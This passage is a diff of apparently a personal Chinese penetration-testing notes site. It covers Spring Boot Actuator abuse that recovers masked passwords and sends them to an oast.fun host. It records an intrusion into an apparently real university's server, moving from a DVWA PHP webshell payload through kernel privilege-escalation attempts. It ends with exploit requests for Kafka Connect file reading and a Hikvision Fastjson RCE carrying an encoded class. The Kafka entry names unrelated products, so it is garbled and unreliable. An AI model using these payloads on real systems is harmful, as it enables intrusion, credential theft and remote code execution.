metrics获取系统度量指标信息
mappings显示所有@RequestMapping路径的整理列表
scheduledtasks显示应用程序中的计划任务
sessions允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序
shutdown关闭应用,要求endpoints.shutdown.enabled设置为true,默认为 false
threaddump获取系统线程转储信息
heapdump返回hprof堆转储文件
jolokia通过HTTP公开JMX bean(当Jolokia在类路径上时,不适用于WebFlux)。需要依赖 jolokia-core
prometheus以Prometheus服务器可以抓取的格式公开指标。需要依赖 micrometer-registry-prometheus
+

SpringBoot Actuator使用及配置​

+

上面介绍了Actuator以及Endpoint,接下来就开始使用它,只需要引入下面启动器依赖就可以使用Actuator了。

+
<!-- actuator -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
+

在SpringBoot2.X中,Actuator 默认只开放 health 。我们先不做任何配置,直接启动SpringBoot项目,然后在浏览器输入:**http://localhost:8080/actuator**查看默认开放的端点,如下图所示

+

image-20240124005054866

+

如果我们需要暴露所有断点只能在下方设置

+
management:
endpoints:
web:
base-path: /actuator
exposure:
include: *
+

image-20240124005545874

+

当然也可以针对性暴露

+
management:
endpoints:
web:
base-path: /actuator #配置端点访问前缀
exposure:
include: '*' #暴露所有端点
enabled-by-default: false #禁用所有端点
endpoint:
info:
enabled: true #上面关闭所有端点之后,又暴露指定的端点,这里暴露info端点
+

image-20240124005723412

+

ENV​

+

通过 env 可以获取到所有关于当前 SpringBoot 应用程序的运行环境信息,如:操作系统信息(systemProperties)、环境变量信息、JDK 版本及 ClassPath 信息、当前启用的配置文件(activeProfiles)、propertySources、应用程序配置信息(applicationConfig)等

+

image-20240124010000032

+

获取被星号脱敏的密码的明文 (方法一)​

+
    +
  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • +
  • 存在getProperty的mbean
  • +
+
<!-- https://mvnrepository.com/artifact/org.jolokia/jolokia-support-spring -->
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-support-spring</artifactId>
<version>2.0.0</version>
</dependency>
+

利用 修改 security.user.password 为对应的数据即可查看

+
curl -X POST 'http://localhost:8080/actuator/jolokia' -H 'Content-Type: application/json'  --data '{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}' -v
+

image-20240124014706709

+

常用的mbean有

+
org.springframework.boot:name=SpringApplication,type=Admin
org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager
+

获取被星号脱敏的密码的明文 (方法二)​

+

条件

+
    +
  • management.endpoint.env.post.enabled=true
  • +
  • refresh、env接口可访问
  • +
  • 存在依赖 spring-boot-starter-actuator、spring-cloud-starter-netflix-eureka-client
  • +
+

这种方法存在局限性就是参数是通过拼接url 以URL 带出来的,所以不符合URL的数据是无法完成外带的

+

${PWD} 就是需要被外带的值,sxielvzhzqayslxhetklcq64byiulay79.oast.fun dns平台的地址即可

+
curl -X POST -H 'Content-Type: application/json' --data '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}'  'http://127.0.0.1:8080/actuator/env'
+

image-20240125132240871

+
# 刷新配置
curl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'
+

image-20240125132256414

+

最后在dns 查看即可

+

image-20240125132324857

+

获取被星号脱敏的密码的明文 (方法三)(暂未复现)​

+

条件

+
    +
  • management.endpoint.env.post.enabled=true
  • +
  • refresh、env接口可访问
  • +
+

与方法二相似

+
curl -X POST -H 'Content-Type: application/json' --data '{"name":"spring.cloud.bootstrap.location","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}'  'http://127.0.0.1:8080/actuator/env'
+
# 刷新配置
curl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'
+

获取被星号脱敏的密码的明文 (方法四)(暂未复现)​

+

条件

+
    +
  • heapdump
  • +
+

参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句

+
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
+

辅助用 password 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/渗透手法/某大学渗透测试/index.html b/en/docs/个人知识库/渗透测试/渗透手法/某大学渗透测试/index.html new file mode 100644 index 0000000..383e818 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/渗透手法/某大学渗透测试/index.html @@ -0,0 +1,87 @@ + + + + + +某大学渗透测试 | wjlin0 + + + + + + + +

某大学渗透测试

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:34:34
+

使用自动化脚本配合pathScan、nuclei进行漏洞扫描

+
#!/bin/bash

# 获取脚本的第一个参数作为域名
domain=$1

# 检查是否提供了域名
if [ -z "$domain" ]; then
echo "用法: $0 wjlin0.com"
exit 1
fi
output_path=./output/$domain

# 创建路径
mkdir -p $output_path

# 扫描子域名 (-sd 发现更多目标)
pathScan -s -sq $domain -o $output_path/out.csv -csv -sd
# 排除 5xx 和 400 状态码的结果
cat $output_path/out.csv | awk -F, 'NR > 1 && !($9 ~ /^[5]/ || $9 == 400) { print $2 }' > $output_path/url_out.txt

# 从 url_out.txt 中提取域名, 并且去重
cat $output_path/url_out.txt | awk -F/ '{ print $3 }' | sort -u > $output_path/domain_out.txt
# 排除 vpn 相关域名


# 扫描漏洞
nuclei -list $output_path/url_out.txt -o $output_path/nuclei_out.txt
+

有个严重,好家伙dvwa,进去看看

+

image-20240112211000138

+

看一下有没有disable_functions()

+
http://xx.xx/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2B&1=phpinfo();
+

image-20240112211429705

+

应该是没有 用蚁剑上线吧

+

image-20240112170550295

+

看一下能不能执行系统命令,发现能,还挺好

+

image-20240112170705054

+

image-20240112175624858

+
Linux mituan-cg-2106 4.19.24-7.34.cbp.al7.x86_64 #1 SMP Thu Dec 15 08:56:31 UTC 2022 x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
+

查找有没有suid

+
find / -perm -u=s -type f 2>/dev/null
+

image-20240112171848295

+

信息收集脚本

+
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
+
=====================( Current Output Verbosity Level: 0 )======================
===============================================================( humanity )=====
[!] nowar0 Should we question autocrats and their "military operations"?... yes!
---
NO
WAR
---
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in administrative groups?................. nope
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... nope
[!] sud020 Can we sudo with a password?.................................... nope
[!] sud030 Can we list sudo commands with a password?...................... nope
[*] sud040 Can we read sudoers files?...................................... nope
[*] sud050 Do we know if any other users used sudo?........................ nope
============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ nope
[!] fst030 Can we write to any setuid binary?.............................. nope
[*] fst040 Binaries with setgid bit........................................ skip
[!] fst050 Uncommon setgid binaries........................................ skip
[!] fst060 Can we write to any setgid binary?.............................. skip
[*] fst070 Can we read /root?.............................................. nope
[*] fst080 Can we read subdirectories under /home?......................... nope
[*] fst090 SSH files in home directories................................... nope
[*] fst100 Useful binaries................................................. yes!
[*] fst110 Other interesting files in home directories..................... nope
[!] fst120 Are there any credentials in fstab/mtab?........................ nope
[*] fst130 Does 'www-data' have mail?...................................... nope
[!] fst140 Can we access other users mail?................................. nope
[*] fst150 Looking for GIT/SVN repositories................................ nope
[!] fst160 Can we write to critical files?................................. nope
[!] fst170 Can we write to critical directories?........................... nope
[!] fst180 Can we write to directories from PATH defined in /etc?.......... nope
[!] fst190 Can we read any backup?......................................... nope
[!] fst200 Are there possible credentials in any shell history file?....... nope
[!] fst210 Are there NFS exports with 'no_root_squash' option?............. nope
[*] fst220 Are there NFS exports with 'no_all_squash' option?.............. nope
[i] fst500 Files owned by user 'www-data'.................................. skip
[i] fst510 SSH files anywhere.............................................. skip
[i] fst520 Check hosts.equiv file and its contents......................... skip
[i] fst530 List NFS server shares.......................................... skip
[i] fst540 Dump fstab file................................................. skip
=================================================================( system )=====
[i] sys000 Who is logged in................................................ skip
[i] sys010 Last logged in users............................................ skip
[!] sys020 Does the /etc/passwd have hashes?............................... nope
[!] sys022 Does the /etc/group have hashes?................................ nope
[!] sys030 Can we read shadow files?....................................... nope
[*] sys040 Check for other superuser accounts.............................. nope
[*] sys050 Can root user log in via SSH?................................... nope
[i] sys060 List available shells........................................... skip
[i] sys070 System umask in /etc/login.defs................................. skip
[i] sys080 System password policies in /etc/login.defs..................... skip
===============================================================( security )=====
[*] sec000 Is SELinux present?............................................. nope
[*] sec010 List files with capabilities.................................... nope
[!] sec020 Can we write to a binary with caps?............................. nope
[!] sec030 Do we have all caps in any binary?.............................. nope
[*] sec040 Users with associated capabilities.............................. nope
[!] sec050 Does current user have capabilities?............................ skip
[!] sec060 Can we read the auditd log?..................................... nope
========================================================( recurrent tasks )=====
[*] ret000 User crontab.................................................... nope
[!] ret010 Cron tasks writable by user..................................... nope
[*] ret020 Cron jobs....................................................... yes!
[*] ret030 Can we read user crontabs....................................... nope
[*] ret040 Can we list other user cron tasks?.............................. nope
[*] ret050 Can we write to any paths present in cron jobs.................. yes!
[!] ret060 Can we write to executable paths present in cron jobs........... nope
[i] ret400 Cron files...................................................... skip
[*] ret500 User systemd timers............................................. nope
[!] ret510 Can we write in any system timer?............................... nope
[i] ret900 Systemd timers.................................................. skip
================================================================( network )=====
[*] net000 Services listening only on localhost............................ yes!
[!] net010 Can we sniff traffic with tcpdump?.............................. nope
[i] net500 NIC and IP information.......................................... skip
[i] net510 Routing table................................................... skip
[i] net520 ARP table....................................................... skip
[i] net530 Nameservers..................................................... skip
[i] net540 Systemd Nameservers............................................. skip
[i] net550 Listening TCP................................................... skip
[i] net560 Listening UDP................................................... skip
===============================================================( services )=====
[!] srv000 Can we write in service files?.................................. nope
[!] srv010 Can we write in binaries executed by services?.................. nope
[*] srv020 Files in /etc/init.d/ not belonging to root..................... nope
[*] srv030 Files in /etc/rc.d/init.d not belonging to root................. nope
[*] srv040 Upstart files not belonging to root............................. nope
[*] srv050 Files in /usr/local/etc/rc.d not belonging to root.............. nope
[i] srv400 Contents of /etc/inetd.conf..................................... skip
[i] srv410 Contents of /etc/xinetd.conf.................................... skip
[i] srv420 List /etc/xinetd.d if used...................................... skip
[i] srv430 List /etc/init.d/ permissions................................... skip
[i] srv440 List /etc/rc.d/init.d permissions............................... skip
[i] srv450 List /usr/local/etc/rc.d permissions............................ skip
[i] srv460 List /etc/init/ permissions..................................... skip
[!] srv500 Can we write in systemd service files?.......................... nope
[!] srv510 Can we write in binaries executed by systemd services?.......... nope
[*] srv520 Systemd files not belonging to root............................. nope
[i] srv900 Systemd config files permissions................................ skip
===============================================================( software )=====
[!] sof000 Can we connect to MySQL with root/root credentials?............. nope
[!] sof010 Can we connect to MySQL as root without password?............... nope
[!] sof015 Are there credentials in mysql_history file?.................... nope
[!] sof020 Can we connect to PostgreSQL template0 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template1 as postgres and no pass?. nope
[!] sof020 Can we connect to PostgreSQL template0 as psql and no pass?..... nope
[!] sof020 Can we connect to PostgreSQL template1 as psql and no pass?..... nope
[*] sof030 Installed apache modules........................................ yes!
[!] sof040 Found any .htpasswd files?...................................... nope
[!] sof050 Are there private keys in ssh-agent?............................ nope
[!] sof060 Are there gpg keys cached in gpg-agent?......................... nope
[!] sof070 Can we write to a ssh-agent socket?............................. nope
[!] sof080 Can we write to a gpg-agent socket?............................. nope
[!] sof090 Found any keepass database files?............................... nope
[!] sof100 Found any 'pass' store directories?............................. nope
[!] sof110 Are there any tmux sessions available?.......................... nope
[*] sof120 Are there any tmux sessions from other users?................... nope
[!] sof130 Can we write to tmux session sockets from other users?.......... nope
[!] sof140 Are any screen sessions available?.............................. nope
[*] sof150 Are there any screen sessions from other users?................. nope
[!] sof160 Can we write to screen session sockets from other users?........ nope
[*] sof170 Can we access MongoDB databases without credentials?............ nope
[!] sof180 Can we access any Kerberos credentials?......................... nope
[i] sof500 Sudo version.................................................... skip
[i] sof510 MySQL version................................................... skip
[i] sof520 Postgres version................................................ skip
[i] sof530 Apache version.................................................. skip
[i] sof540 Tmux version.................................................... skip
[i] sof550 Screen version.................................................. skip
=============================================================( containers )=====
[*] ctn000 Are we in a docker container?................................... nope
[*] ctn010 Is docker available?............................................ nope
[!] ctn020 Is the user a member of the 'docker' group?..................... nope
[*] ctn200 Are we in a lxc container?...................................... nope
[!] ctn210 Is the user a member of any lxc/lxd group?...................... nope
==============================================================( processes )=====
[i] pro000 Waiting for the process monitor to finish....................... yes!
[i] pro001 Retrieving process binaries..................................... yes!
[i] pro002 Retrieving process users........................................ yes!
[!] pro010 Can we write in any process binary?............................. nope
[*] pro020 Processes running with root permissions......................... yes!
[*] pro030 Processes running by non-root users with shell.................. nope
[i] pro500 Running processes............................................... skip
[i] pro510 Running process binaries and permissions........................ skip
===================================================================( CVEs )=====
[!] cve-2019-5736 Escalate in some types of docker containers.............. nope
[!] cve-2021-3156 Sudo Baron Samedit vulnerability......................... nope
[!] cve-2021-3560 Checking for policykit vulnerability..................... nope
[!] cve-2021-4034 Checking for PwnKit vulnerability........................ nope
[!] cve-2022-0847 Dirty Pipe vulnerability................................. nope
[!] cve-2022-25636 Netfilter linux kernel vulnerability.................... nope
[!] cve-2023-22809 Sudoedit bypass in Sudo <= 1.9.12p1..................... nope

==================================( FINISHED )==================================
+

查找本地提权漏洞

+
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux-exploit-suggester.sh
+
./linux-exploit-suggester.sh

Available information:

Kernel version: 4.19.24
Architecture: x86_64
Distribution: N/A
Distribution version: N/A
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: N/A

Searching among:

81 kernel space exploits
0 user space exploits

Possible Exploits:

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-27365] linux-iscsi

Details: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
Exposure: less probable
Tags: RHEL=8
Download URL: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk
Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-15666] XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2019-13272] PTRACE_TRACEME

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent.

+
    +
  • 尝试CVE-2019-13272
  • +
+
wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
+

查看gblic版本

+
www-data@mituan-cg-2106:/tmp$ ldd --version
ldd (Debian GLIBC 2.24-11+deb9u3) 2.24
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
+

安装glibc-2.24

+

这个方法出了很多问题,干脆放弃了 直接 用docker 编译 poc 就行了哇

+
mkdir -p /tmp/glibc-2.24/src-build/ && cd /tmp/glibc-2.24
wget https://ftp.gnu.org/gnu/glibc/glibc-2.24.tar.gz && tar -xvf glibc-2.24.tar.gz
cd src-build/ && ../configure --prefix=/opt/glibc-2.24
make && make install
+

使用docker 编译glibc-2.24 和 编译 poc 并直接导出a.out

+
# 使用 Debian 9 (Stretch) 作为基础镜像
FROM debian:9
# 解决 Debian 9 已经达到了其生命周期的终点并被移动到了归档状态 问题
RUN echo "deb http://archive.debian.org/debian/ stretch main contrib non-free" > /etc/apt/sources.list \
&& echo "deb http://archive.debian.org/debian-security/ stretch/updates main" >> /etc/apt/sources.list

# 安装编译依赖 忽略 APT 安全警告
RUN apt-get -o Acquire::Check-Valid-Until=false update && apt-get install -y \
build-essential \
gcc \
g++ \
bison \
perl \
python3 \
git \
gawk \
wget

# 创建一个工作目录
WORKDIR /glibc-build

# 克隆 glibc 源代码
RUN git clone https://sourceware.org/git/glibc.git /glibc-source

# 切换到特定的版本
RUN cd /glibc-source && git checkout glibc-2.24

# 配置构建目录
RUN mkdir /glibc-build/build
WORKDIR /glibc-build/build

# 配置 glibc
RUN /glibc-source/configure --prefix=/opt/glibc-2.24

# 编译和安装
RUN make -j$(nproc) && make install

# 设置卷,用于导出编译好的文件
VOLUME /tmp

+

执行命令 好了开始等待个上万年

+
docker build -t glibc-2.24-debian9 .
docker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash
# 容器中
wget https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c -O poc.c
gcc -Wall --std=gnu99 -s /tmp/poc.c -o /tmp/ptrace_traceme_root
+

上传并执行 玩个屁白费力气

+
chmod +x /tmp/ptrace_traceme_root
/tmp/ptrace_traceme_root
+

image-20240112202526854

+
    +
  • 尝试 CVE-2022-32250
  • +
+

使用上面docker 容器环境,编译poc

+
docker run --rm -v /tmp/1:/tmp -it glibc-2.24-debian9 /bin/bash 
# 容器中
wget https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c -O exp.c
gcc exp.c -o exp -l mnl -l nftnl -w
+

出错啦

+

image-20240112204023742

+

安装 libmnl,并再次编译

+
# 容器中
apt-get install -y libmnl-dev
gcc exp.c -o exp -l mnl -l nftnl -w
+

还是出错啦

+

image-20240112204205475

+

安装 libnftnl-dev,并再次编译

+
apt install -y libnftnl-dev --allow-unauthenticated
gcc exp.c -o exp -l mnl -l nftnl -w
+

又又又出错了

+

image-20240112204841016

+

GPT提示的是 5.1.x 才提供的 apt search linux-headers 看了一下,发现并没有,就放弃了

+

image-20240112205140417

+

看了一下数据库也没有啥好用的,算了

+

image-20240112212017967

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞合集/中间件/Apache/Kafka Connect任意文件读取漏洞(CVE-2025-27817)/index.html b/en/docs/个人知识库/漏洞合集/中间件/Apache/Kafka Connect任意文件读取漏洞(CVE-2025-27817)/index.html new file mode 100644 index 0000000..332e621 --- /dev/null +++ b/en/docs/个人知识库/漏洞合集/中间件/Apache/Kafka Connect任意文件读取漏洞(CVE-2025-27817)/index.html @@ -0,0 +1,31 @@ + + + + + +Kafka Connect任意文件读取漏洞(CVE-2025-27817) | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-06-14 17:57:25
+

一、漏洞简介

+

Kafka Connect 是一种用于在 Apache Kafka 和其他系统之间可扩展且可靠地流式传输数据的工具。 它使快速定义将大量数据移入和移出 Kafka 的连接器变得简单。 Kafka Connect 可以摄取整个数据库或从所有应用程序服务器收集指标到 Kafka 主题中,使数据可用于低延迟的流处理。 导出作业可以将数据从 Kafka 主题传送到二级存储和查询系统或批处理系统进行离线分析。

+

二、影响版本

+
    +
  • 用友NC
  • +
+

三、资产测绘

+
    +
  • huiter:app.name=="用友 UAP"
  • +
+
    +
  • 登录页面
  • +
+

四、漏洞复现

+
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1617

{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:6666",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"
},
"topic": "test",
"useEarliestOffset": true,
"inputFormat": {
"type": "regex",
"pattern": "([\\s\\S]*)",
"listDelimiter": "",
"columns": ["raw"]
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "!!!_no_such_column_!!!",
"missingValue": "1970-01-01T00:00:00Z"
},
"dimensionsSpec": {},
"granularitySpec": {
"rollup": false
}
},
"tuningConfig": {
"type": "kafka"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞合集/契约锁电子签章系统/契约锁电子签章系统RCE/index.html b/en/docs/个人知识库/漏洞合集/契约锁电子签章系统/契约锁电子签章系统RCE/index.html new file mode 100644 index 0000000..1cb3ae1 --- /dev/null +++ b/en/docs/个人知识库/漏洞合集/契约锁电子签章系统/契约锁电子签章系统RCE/index.html @@ -0,0 +1,16 @@ + + + + + +契约锁电子签章系统RCE | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞合集/海康威视/海康威视IP摄像机NVR设备固件远程代码执行漏洞(CVE-2021-36260)/index.html b/en/docs/个人知识库/漏洞合集/海康威视/海康威视IP摄像机NVR设备固件远程代码执行漏洞(CVE-2021-36260)/index.html new file mode 100644 index 0000000..7f80783 --- /dev/null +++ b/en/docs/个人知识库/漏洞合集/海康威视/海康威视IP摄像机NVR设备固件远程代码执行漏洞(CVE-2021-36260)/index.html @@ -0,0 +1,16 @@ + + + + + +wjlin0 + + + + + + + +

Page Not Found

We could not find what you were looking for.

Please contact the owner of the site that linked you to the original URL and let them know their link is broken.

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞合集/海康威视/海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现/index.html b/en/docs/个人知识库/漏洞合集/海康威视/海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现/index.html new file mode 100644 index 0000000..1e905c0 --- /dev/null +++ b/en/docs/个人知识库/漏洞合集/海康威视/海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现/index.html @@ -0,0 +1,25 @@ + + + + + +海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现 | wjlin0 + + + + + + + +

海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现

作者修订时间
wjlin02025-06-14 01:58:00
+

海康威视部分综合安防管理平台管理平台存在Fastjson远程命令执行漏洞,攻击者可通过构造恶意Payload执行并获取服务器系统权限以及敏感数据信息。

+
title="综合安防管理平台"
+
POST /bic/ssoService/v1/keepAlive HTTP/1.1
Host:
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
cmd: whoami
Connection: close
Content-Length: 3330

{"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$